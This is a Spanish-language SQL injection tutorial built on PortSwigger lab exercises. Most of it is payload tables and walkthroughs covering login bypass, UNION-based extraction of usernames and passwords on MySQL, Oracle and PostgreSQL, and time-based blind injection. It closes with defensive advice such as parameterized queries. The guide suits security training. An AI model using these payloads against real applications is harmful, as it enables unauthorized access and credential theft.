

Guía de Inyección SQL (SQLi) - Casos Prácticos y Payloads

por Jonathan Gomez

Introducción

Esta guía documenta técnicas de inyección SQL probadas en entornos controlados (laboratorios PortSwigger). Su propósito es educativo, para que administradores de sitios web comprendan los riesgos y sepan cómo protegerse.

Advertencia: El uso de estas técnicas en sistemas sin autorización es ilegal. Esta guía es solo para fines de aprendizaje y auditoría de sistemas propios.

1. Conceptos Fundamentales

¿Qué es la Inyección SQL?

Es una vulnerabilidad que ocurre cuando los datos proporcionados por el usuario se concatenan directamente en una consulta SQL sin validación, permitiendo al atacante modificar la estructura de la consulta.

Tipos Comunes de Ataques:

- **UNION-based:** Extrae datos de otras tablas.
 - **Boolean-based:** Infiere información según respuestas verdaderas/falsas.
 - **Time-based:** Usa retrasos para obtener información.
 - **Error-based:** Obtiene información de mensajes de error.
-

2. Técnicas Básicas de Evasión (Login Bypass)

Estos payloads se usan para omitir la autenticación en formularios de login vulnerables.

Payloads Clásicos

Payload	Explicación
' OR '1'='1	Siempre verdadero, devuelve todos los usuarios.
' OR 'a'='a	Similar al anterior, usando caracteres.
1='1'#	Comenta el resto de la consulta.
administrator'--	Cierra la cadena y comenta el resto.

Ejemplo en Formulario POST

http

POST /core/auth HTTP/2

Host: ejemplo.com

Content-Type: application/x-www-form-urlencoded

username=' OR '1'='1&password=test&submit=1

3. Determinación del Número de Columnas

Es el paso inicial para cualquier ataque UNION.

Método ORDER BY

Payload	Resultado Esperado
---------	--------------------

' ORDER BY 1--	Éxito (hay al menos 1 columna).
----------------	---------------------------------

' ORDER BY 2--	Éxito (hay al menos 2 columnas).
----------------	----------------------------------

' ORDER BY 3--	Si falla, el número de columnas es 2.
----------------	---------------------------------------

Método UNION SELECT NULL

Payload	Resultado Esperado
---------	--------------------

' UNION SELECT NULL--	Error (si hay más de 1 columna).
-----------------------	----------------------------------

' UNION SELECT NULL,NULL--	Éxito (si hay 2 columnas).
----------------------------	----------------------------

' UNION SELECT NULL,NULL,NULL--	Éxito (si hay 3 columnas).
---------------------------------	----------------------------

4. Ataques UNION en MySQL / MariaDB

Identificar Columna de Texto

Primero, encuentra qué columna puede mostrar texto:

sql

```
' UNION SELECT 'a', NULL, NULL--
```

```
' UNION SELECT NULL, 'a', NULL--
```

```
' UNION SELECT NULL, NULL, 'a'--
```

Extraer Información Básica

Propósito	Payload
Versión	' UNION SELECT @@version, 'def' #
Base de datos actual	' UNION SELECT database(), 'def' #
Usuario actual	' UNION SELECT user(), 'def' #
Listar tablas	' UNION SELECT table_name, 'def' FROM information_schema.tables WHERE table_schema = database() #
Listar columnas	' UNION SELECT column_name, 'def' FROM information_schema.columns WHERE table_name = 'users' #
Extraer datos	' UNION SELECT username, password FROM users #
Concatenar columnas	' UNION SELECT CONCAT(username, ':', password), 'def' FROM users #

Ejemplo de Extracción de una Tabla users

sql

```
-- Encontrar las columnas
```

```
' UNION SELECT column_name, 'a' FROM information_schema.columns WHERE table_name = 'users'--
```

```
-- Resultado: username, password, email
```

-- Extraer datos

' UNION SELECT username, password FROM users--

-- Resultado: administrator, [password_hash]

5. Ataques UNION en Oracle

Reglas clave: Usar FROM dual y tablas del sistema (all_tables, all_tab_columns).

Consultas Esenciales

Propósito	Payload
Versión	' UNION SELECT banner, NULL FROM v\$version WHERE rownum=1--
Listar tablas	' UNION SELECT table_name, NULL FROM all_tables--
Listar columnas	' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name = 'USERS'--
Extraer datos	' UNION SELECT username, password FROM USERS--

Ejemplo Práctico (Laboratorio Oracle)

sql

-- Determinar columnas (2 en este caso)

' ORDER BY 2--

' UNION SELECT NULL, NULL FROM dual--

-- Encontrar tabla

' UNION SELECT table_name, NULL FROM all_tables--

-- Resultado: USERS_SORXGS

-- Encontrar columnas

' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name =
'USERS_SORXGS'--

-- Resultado: USERNAME_JDNNVM, PASSWORD_XVDLNC

-- Extraer datos

' UNION SELECT USERNAME_JDNNVM, PASSWORD_XVDLNC FROM USERS_SORXGS--

-- Resultado: administrator, [password_hash]

6. Inyecciones Ciegas (Time-based)

MySQL

sql

-- Prueba de retraso

1 OR IF(1=1, SLEEP(5), 0)--

-- Extraer primer carácter de la base de datos

1 OR IF(ASCII(SUBSTRING((SELECT database()),1,1))>64, SLEEP(5), 0)--

PostgreSQL

sql

-- Prueba de retraso

1 OR pg_sleep(5)--

7. Codificación de URLs (Práctica)

Al probar manualmente en la barra de direcciones, debes codificar los caracteres especiales:

Carácter	Codificación
Espacio	%20
Comilla simple (')	%27
Comilla doble (")	%22
#	%23
=	%3D
+	%2B

Ejemplo:

- Consulta original: ' UNION SELECT 1, 'a', 2--

- Codificada: %27%20UNION%20SELECT%201,%20%27a%27,%202--
-

8. Ejemplo de Ataque Completo (PostgreSQL)

Laboratorio: "Listing database contents on non-Oracle databases"

1. Determinar columnas:

sql

```
' ORDER BY 2--
```

```
' UNION SELECT NULL,NULL--
```

```
' UNION SELECT 'a','a'-- (Ambas columnas aceptan texto)
```

2. Listar tablas:

sql

```
' UNION SELECT table_name,'a' FROM information_schema.tables--
```

```
-- Resultado: users_tftprq
```

3. Listar columnas:

sql

```
' UNION SELECT column_name, 'a' FROM information_schema.columns WHERE  
table_name = 'users_tftprq'--
```

```
-- Resultado: username_rdgnyf, password_nurllle
```

4. Extraer datos:

sql

```
' UNION SELECT username_rdgnyf, password_nurllle FROM users_tftprq--
```

```
-- Resultado: administrator, [password_hash]
```

5. Iniciar sesión: Usar las credenciales obtenidas.

9. Herramientas y Buenas Prácticas

Herramientas Útiles

- **Burp Suite:** Para interceptar y modificar peticiones HTTP.
- **sqlmap:** Automatiza la detección y explotación (usar con cuidado).
- **Codificadores online:** Para preparar payloads.

Buenas Prácticas para Administradores

1. **Usar consultas parametrizadas (Prepared Statements).**
2. **Validar y sanitizar todas las entradas del usuario.**
3. **Aplicar el principio de mínimo privilegio** en las cuentas de base de datos.
4. **Mantener software y sistemas actualizados.**
5. **Configurar mensajes de error genéricos** que no revelen información interna.

10. Referencias

- PortSwigger Web Security Academy: [SQL Injection](#)
- OWASP SQL Injection Prevention Cheat Sheet

Nota final: Esta guía es un recurso educativo. Siempre actúa de manera ética y solo prueba en sistemas donde tengas autorización explícita.